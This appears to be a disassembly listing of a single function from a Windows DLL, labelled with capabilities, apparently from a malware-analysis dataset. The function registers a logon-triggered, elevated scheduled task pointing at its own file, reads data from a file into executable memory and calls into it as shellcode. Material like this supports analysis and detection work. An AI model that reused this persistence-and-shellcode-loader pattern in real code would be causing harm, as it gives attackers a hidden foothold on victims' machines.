Function at 0x10001fd0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Schedule task via itaskservice

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10025d90
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x268
push esi
push edi
push 0x104
lea eax, [ebp - 0x278]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
mov dword [ebp - 0x18], 0
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [ebp - 0x18]
push eax
push 0x100281d4
push 1
push 0
push 0x100281e4
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jns 0x10002067
push eax
push ecx
mov edx, str.Failed_to_create_Task_Scheduler_instance:
mov ecx, 0x100371f8
call fcn.10006170
add esp, 4
mov ecx, eax
call fcn.10003ee0
push eax
call fcn.10006400
add esp, 4
mov esi, dword [sym.imp.OLEAUT32.dll_VariantClear]
lea eax, [ebp - 0x88]
push eax
call esi
movups xmm0, xmmword [ebp - 0x88]
lea eax, [ebp - 0x50]
push eax
movups xmmword [ebp - 0x98], xmm0
call esi
movups xmm0, xmmword [ebp - 0x50]
lea eax, [ebp - 0x78]
push eax
movups xmmword [ebp - 0xa8], xmm0
call esi
movups xmm0, xmmword [ebp - 0x78]
lea eax, [ebp - 0x60]
push eax
movups xmmword [ebp - 0xb8], xmm0
call esi
movups xmm0, xmmword [ebp - 0x98]
mov ecx, dword [ebp - 0x18]
sub esp, 0x10
mov eax, esp
sub esp, 0x10
mov edx, dword [ecx]
movups xmmword [eax], xmm0
mov eax, esp
sub esp, 0x10
movups xmm0, xmmword [ebp - 0xa8]
movups xmmword [eax], xmm0
mov eax, esp
sub esp, 0x10
movups xmm0, xmmword [ebp - 0xb8]
movups xmmword [eax], xmm0
mov eax, esp
movups xmm0, xmmword [ebp - 0x60]
push ecx
movups xmmword [eax], xmm0
call dword [edx + 0x28]
mov edi, dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov esi, eax
lea eax, [ebp - 0x60]
push eax
call edi
lea eax, [ebp - 0x78]
push eax
call edi
lea eax, [ebp - 0x50]
push eax
call edi
lea eax, [ebp - 0x88]
push eax
call edi
mov edi, dword [sym.imp.ole32.dll_CoUninitialize]
test esi, esi
jns 0x1000214a
push esi
push ecx
mov edx, str.Failed_to_connect_to_Task_Scheduler:
mov ecx, 0x100371f8
call fcn.10006170
add esp, 4
mov ecx, eax
call fcn.10003ee0
push eax
call fcn.10006400
mov eax, dword [ebp - 0x18]
add esp, 4
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
call edi
push 0xc
mov dword [ebp - 0x1c], 0
call fcn.10008933
mov esi, eax
add esp, 4
test esi, esi
je 0x10002c3c
push 0x100325c0
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esi], eax
test eax, eax
je 0x10002c3c
mov eax, dword [ebp - 0x18]
lea edx, [ebp - 0x1c]
push edx
push dword [esi]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x1c]
mov dword [ebp - 0x44], eax
or ecx, 0xffffffff
lock xadd dword [esi + 8], ecx
dec ecx
jne 0x100021dd
mov ecx, dword [esi]
test ecx, ecx
je 0x100021b8
push ecx
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x100021cf
push eax
call fcn.10008963
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.10008902
mov eax, dword [ebp - 0x44]
add esp, 8
test eax, eax
jns 0x10002210
push eax
push ecx
mov edx, str.Failed_to_get_root_folder:
mov ecx, 0x100371f8
call fcn.10006170
add esp, 4
mov ecx, eax
call fcn.10003ee0
push eax
call fcn.10006400
mov eax, dword [ebp - 0x18]
add esp, 4
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
call edi
mov eax, dword [ebp - 0x18]
lea edx, [ebp - 0x14]
push edx
mov dword [ebp - 0x14], 0
push 0
mov ecx, dword [eax]
push eax
call dword [ecx + 0x24]
test eax, eax
jns 0x10002262
push eax
push ecx
mov edx, str.Failed_to_create_task_definition:
mov ecx, 0x100371f8
call fcn.10006170
add esp, 4
mov ecx, eax
call fcn.10003ee0
push eax
call fcn.10006400
mov eax, dword [ebp - 0x1c]
add esp, 4
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call edi
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x24]
mov dword [ebp - 0x24], 0
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x1c]
test eax, eax
jns 0x100022bb
push eax
push ecx
mov edx, str.Failed_to_get_registration_info:
mov ecx, 0x100371f8
call fcn.10006170
add esp, 4
mov ecx, eax
call fcn.10003ee0
push eax
call fcn.10006400
mov eax, dword [ebp - 0x14]
add esp, 4
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call edi
push 0xc
call fcn.10008933
mov esi, eax
add esp, 4
mov dword [ebp - 0x68], esi
test esi, esi
je 0x10002c3c
push str.Author_Name
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call fcn.10007770
mov dword [esi], eax
mov eax, dword [ebp - 0x24]
push dword [esi]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x28]
mov ecx, dword [ebp - 0x24]
mov esi, eax
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
test esi, esi
jns 0x10002347
push esi
push ecx
mov edx, str.Failed_to_set_task_author:
mov ecx, 0x100371f8
call fcn.10006170
add esp, 4
mov ecx, eax
call fcn.10003ee0
push eax
call fcn.10006400
mov eax, dword [ebp - 0x14]
add esp, 4
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call edi
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x28]
mov dword [ebp - 0x28], 0
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x2c]
test eax, eax
jns 0x100023a0
push eax
push ecx
mov edx, str.Failed_to_get_task_settings:
mov ecx, 0x100371f8
call fcn.10006170
add esp, 4
mov ecx, eax
call fcn.10003ee0
push eax
call fcn.10006400
mov eax, dword [ebp - 0x14]
add esp, 4
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call edi
mov eax, dword [ebp - 0x28]
push 0xffffffffffffffff
push eax
mov ecx, dword [eax]
call dword [ecx + 0x58]
mov ecx, dword [ebp - 0x28]
mov esi, eax
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
test esi, esi
jns 0x100023fb
push esi
push ecx
mov edx, str.Failed_to_set_task_settings:
mov ecx, 0x100371f8
call fcn.10006170
add esp, 4
mov ecx, eax
call fcn.10003ee0
push eax
call fcn.10006400
mov eax, dword [ebp - 0x14]
add esp, 4
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call edi
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x2c]
mov dword [ebp - 0x2c], 0
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x24]
test eax, eax
jns 0x10002454
push eax
push ecx
mov edx, str.Failed_to_get_trigger_collection:
mov ecx, 0x100371f8
call fcn.10006170
add esp, 4
mov ecx, eax
call fcn.10003ee0
push eax
call fcn.10006400
mov eax, dword [ebp - 0x14]
add esp, 4
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call edi
mov eax, dword [ebp - 0x2c]
lea edx, [ebp - 0x30]
push edx
mov dword [ebp - 0x30], 0
push 9
mov ecx, dword [eax]
push eax
call dword [ecx + 0x28]
mov ecx, dword [ebp - 0x2c]
mov esi, eax
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
test esi, esi
jns 0x100024ba
push esi
push ecx
mov edx, str.Failed_to_create_trigger:
mov ecx, 0x100371f8
call fcn.10006170
add esp, 4
mov ecx, eax
call fcn.10003ee0
push eax
call fcn.10006400
mov eax, dword [ebp - 0x14]
add esp, 4
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call edi
mov eax, dword [ebp - 0x30]
lea edx, [ebp - 0x20]
push edx
mov dword [ebp - 0x20], 0
push 0x100281f4
mov ecx, dword [eax]
push eax
call dword [ecx]
mov ecx, dword [ebp - 0x30]
mov esi, eax
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
test esi, esi
jns 0x10002522
push esi
push ecx
mov edx, str.Failed_to_get_logon_trigger_interface:
mov ecx, 0x100371f8
call fcn.10006170
add esp, 4
mov ecx, eax
call fcn.10003ee0
push eax
call fcn.10006400
mov eax, dword [ebp - 0x14]
add esp, 4
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call edi
push 0xc
call fcn.10008933
mov esi, eax
add esp, 4
test esi, esi
je 0x10002c3c
push str.MyLogonTrigger
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esi], eax
test eax, eax
je 0x10002c3c
mov eax, dword [ebp - 0x20]
push dword [esi]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x24]
mov dword [ebp - 0x44], eax
or ecx, 0xffffffff
lock xadd dword [esi + 8], ecx
dec ecx
jne 0x100025aa
mov ecx, dword [esi]
test ecx, ecx
je 0x10002585
push ecx
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x1000259c
push eax
call fcn.10008963
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.10008902
mov eax, dword [ebp - 0x44]
add esp, 8
test eax, eax
jns 0x100025f8
push eax
push ecx
mov edx, str.Failed_to_set_trigger_ID:
mov ecx, 0x100371f8
call fcn.10006170
add esp, 4
mov ecx, eax
call fcn.10003ee0
push eax
call fcn.10006400
mov eax, dword [ebp - 0x20]
add esp, 4
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call edi
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x34]
mov dword [ebp - 0x34], 0
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x44]
test eax, eax
jns 0x1000265a
push eax
push ecx
mov edx, str.Failed_to_get_action_collection:
mov ecx, 0x100371f8
call fcn.10006170
add esp, 4
mov ecx, eax
call fcn.10003ee0
push eax
call fcn.10006400
mov eax, dword [ebp - 0x20]
add esp, 4
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call edi
mov eax, dword [ebp - 0x34]
lea edx, [ebp - 0x38]
push edx
mov dword [ebp - 0x38], 0
push 0
mov ecx, dword [eax]
push eax
call dword [ecx + 0x30]
mov ecx, dword [ebp - 0x34]
mov esi, eax
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
test esi, esi
jns 0x100026c9
push esi
push ecx
mov edx, str.Failed_to_create_action:
mov ecx, 0x100371f8
call fcn.10006170
add esp, 4
mov ecx, eax
call fcn.10003ee0
push eax
call fcn.10006400
mov eax, dword [ebp - 0x20]
add esp, 4
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call edi
mov eax, dword [ebp - 0x38]
lea edx, [ebp - 0x3c]
push edx
mov dword [ebp - 0x3c], 0
push str.MbLk
mov ecx, dword [eax]
push eax
call dword [ecx]
mov ecx, dword [ebp - 0x38]
mov esi, eax
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
test esi, esi
jns 0x1000273a
push esi
push ecx
mov edx, str.Failed_to_get_exec_action_interface:
mov ecx, 0x100371f8
call fcn.10006170
add esp, 4
mov ecx, eax
call fcn.10003ee0
push eax
call fcn.10006400
mov eax, dword [ebp - 0x20]
add esp, 4
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call edi
push 0xc
call fcn.10008933
mov esi, eax
add esp, 4
test esi, esi
je 0x10002c3c
lea eax, [ebp - 0x278]
mov dword [esi + 4], 0
push eax
mov dword [esi + 8], 1
call fcn.10007770
mov dword [esi], eax
mov eax, dword [ebp - 0x3c]
push dword [esi]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x2c]
mov dword [ebp - 0x44], eax
or ecx, 0xffffffff
lock xadd dword [esi + 8], ecx
dec ecx
jne 0x100027b8
mov ecx, dword [esi]
test ecx, ecx
je 0x10002796
push ecx
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x100027ad
push eax
call fcn.10008963
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.10008902
add esp, 8
mov eax, dword [ebp - 0x3c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x44]
test eax, eax
jns 0x10002812
push eax
push ecx
mov edx, str.Failed_to_set_exec_action_path:
mov ecx, 0x100371f8
call fcn.10006170
add esp, 4
mov ecx, eax
call fcn.10003ee0
push eax
call fcn.10006400
mov eax, dword [ebp - 0x20]
add esp, 4
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call edi
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x40]
mov dword [ebp - 0x40], 0
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x3c]
test eax, eax
jns 0x10002874
push eax
push ecx
mov edx, str.Failed_to_get_task_principal:
mov ecx, 0x100371f8
call fcn.10006170
add esp, 4
mov ecx, eax
call fcn.10003ee0
push eax
call fcn.10006400
mov eax, dword [ebp - 0x20]
add esp, 4
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call edi
mov eax, dword [ebp - 0x40]
push 1
push eax
mov ecx, dword [eax]
call dword [ecx + 0x48]
mov ecx, dword [ebp - 0x40]
mov esi, eax
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
test esi, esi
jns 0x100028d8
push esi
push ecx
mov edx, str.Failed_to_set_task_principal_run_level:
mov ecx, 0x100371f8
call fcn.10006170
add esp, 4
mov ecx, eax
call fcn.10003ee0
push eax
call fcn.10006400
mov eax, dword [ebp - 0x20]
add esp, 4
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call edi
mov eax, 8
mov dword [ebp - 0x64], 0
push 0x1003280c
mov word [ebp - 0x60], ax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [ebp - 0x58], eax
test eax, eax
je 0x10002c3c
movups xmm0, xmmword [ebp - 0x60]
mov esi, dword [sym.imp.OLEAUT32.dll_VariantClear]
lea eax, [ebp - 0x98]
push eax
movups xmmword [ebp - 0xb8], xmm0
call esi
movups xmm0, xmmword [ebp - 0x98]
lea eax, [ebp - 0x88]
push eax
movups xmmword [ebp - 0xa8], xmm0
call esi
movups xmm0, xmmword [ebp - 0x88]
push 0xc
movups xmmword [ebp - 0x78], xmm0
call fcn.10008933
mov esi, eax
add esp, 4
test esi, esi
je 0x10002c3c
push str.MyTask
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esi], eax
test eax, eax
je 0x10002c3c
movups xmm0, xmmword [ebp - 0xb8]
mov ecx, dword [ebp - 0x1c]
lea eax, [ebp - 0x64]
push eax
sub esp, 0x10
mov eax, esp
mov edx, dword [ecx]
push 3
sub esp, 0x10
movups xmmword [eax], xmm0
mov eax, esp
sub esp, 0x10
movups xmm0, xmmword [ebp - 0xa8]
movups xmmword [eax], xmm0
mov eax, esp
movups xmm0, xmmword [ebp - 0x78]
push 6
push dword [ebp - 0x14]
movups xmmword [eax], xmm0
push dword [esi]
push ecx
call dword [edx + 0x44]
mov dword [ebp - 0x44], eax
or ecx, 0xffffffff
lock xadd dword [esi + 8], ecx
dec ecx
jne 0x100029f4
mov ecx, dword [esi]
test ecx, ecx
je 0x100029d2
push ecx
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x100029e9
push eax
call fcn.10008963
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.10008902
add esp, 8
mov esi, dword [sym.imp.OLEAUT32.dll_VariantCopy]
lea eax, [ebp - 0x88]
push eax
call esi
lea eax, [ebp - 0x98]
push eax
call esi
lea eax, [ebp - 0x60]
push eax
call esi
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x18]
push eax
mov edx, dword [eax]
call dword [edx + 8]
mov eax, dword [ebp - 0x44]
test eax, eax
jns 0x10002a5a
push eax
push ecx
mov edx, str.Failed_to_register_task:
mov ecx, 0x100371f8
call fcn.10006170
add esp, 4
mov ecx, eax
call fcn.10003ee0
push eax
call fcn.10006400
add esp, 4
call edi
mov eax, dword [ebp - 0x64]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call edi
sub esp, 0x10
lea ecx, [ebp - 0x170]
call fcn.10003b80
mov ecx, dword [ebp - 0x170]
mov eax, dword [ecx + 4]
test byte [ebp + eax - 0x164], 6
je 0x10002aa4
mov edx, 0x1003283c
mov ecx, 0x10037148
call fcn.10006170
push eax
call fcn.10006400
mov ecx, dword [ebp - 0x170]
add esp, 4
mov eax, dword [ecx + 4]
lea ecx, [ebp - 0x5c]
mov word [ebp - 0x6c], 1
push dword [ebp - 0x6c]
mov byte [ebp - 0x43], 0
mov eax, dword [ebp + eax - 0x138]
test eax, eax
push 0
sete byte [ebp - 0x44]
mov dword [ebp - 0x5c], 0
push dword [ebp - 0x44]
mov dword [ebp - 0x58], 0
push eax
mov dword [ebp - 0x54], 0
call fcn.100074a0
mov eax, dword [ebp - 0x58]
mov esi, dword [ebp - 0x5c]
sub eax, esi
push 0x40
push 0x1000
push eax
push 0
mov dword [ebp - 0x44], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
jne 0x10002b1f
mov edx, 0x10032554
mov ecx, 0x10037148
call fcn.10006170
push eax
call fcn.10006400
add esp, 4
jmp 0x10002b3c
push dword [ebp - 0x44]
push esi
push edi
call fcn.1000a1a0
add esp, 0xc
call edi
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
test esi, esi
je 0x10002b6d
mov ecx, dword [ebp - 0x54]
mov eax, esi
sub ecx, esi
cmp ecx, 0x1000
jb 0x10002b63
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002c46
push ecx
push esi
call fcn.10008902
add esp, 8
mov eax, dword [ebp - 0x170]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x170]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x174], eax
lea ecx, [ebp - 0x160]
call fcn.10003770
mov eax, dword [ebp - 0x170]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_istream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x170]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x18]
mov dword [ebp + ecx - 0x174], eax
lea eax, [ebp - 0x100]
mov dword [ebp - 4], 0
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.10008377
mov esi, dword [ebp - 0x68]
add esp, 4
or eax, 0xffffffff
lock xadd dword [esi + 8], eax
dec eax
jne 0x10002c29
mov eax, dword [esi]
test eax, eax
je 0x10002c07
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x10002c1e
push eax
call fcn.10008963
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.10008902
add esp, 8
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
push 0x8007000e
call fcn.10007750
call fcn.1000f341
int3